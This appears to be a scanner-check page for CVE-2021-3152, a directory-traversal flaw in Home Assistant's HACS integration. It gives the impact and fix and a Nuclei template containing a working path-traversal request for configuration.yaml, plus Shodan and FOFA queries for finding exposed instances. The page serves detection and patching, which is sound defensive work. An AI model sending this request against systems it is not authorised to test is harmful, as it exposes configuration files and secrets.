Home Assistant HACS - Local File Inclusion

highseverity

7.5CVSS score

2.2%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Home Assistant before 2021.1.3 lacks a protection layer against directory-traversal attacks in custom integrations, letting attackers access arbitrary files, exploit requires attacker to deploy malicious custom integration.

Impact

Attackers can access sensitive files on the system, potentially leading to information disclosure or further system compromise.

Fix

Update to version 2021.1.3 or later to include protection against directory traversal in custom integrations.

How to confirm it

Send: GET /hacsfiles/../../configuration.yaml
Positive when: contains "default_config:" or "homeassistant:" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3152 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3152

info:
  name: Home Assistant HACS - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    Home Assistant before 2021.1.3 lacks a protection layer against directory-traversal attacks in custom integrations, letting attackers access arbitrary files, exploit requires attacker to deploy malicious custom integration.
  impact: |
    Attackers can access sensitive files on the system, potentially leading to information disclosure or further system compromise.
  remediation: Update to version 2021.1.3 or later to include protection against directory traversal in custom integrations.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3152
    - https://lyghtnox.gitlab.io/posts/hacs-exploit/
    - https://www.home-assistant.io/blog/2021/01/22/security-disclosure/
    - https://github.com/hacs/integration/commit/f2b7cb711e41a94b81610f6ff96ea314e9879114
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3152
    epss-score: 0.02159
    epss-percentile: 0.82345
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: hacs
    product: integration
    shodan-query: title:"Home Assistant"
    fofa-query: title="Home Assistant"
  tags: cve,cve2021,hacs,homeassistant,lfi

http:
  - raw:
      - |
        GET /hacsfiles/../../configuration.yaml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "default_config:"
          - "homeassistant:"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from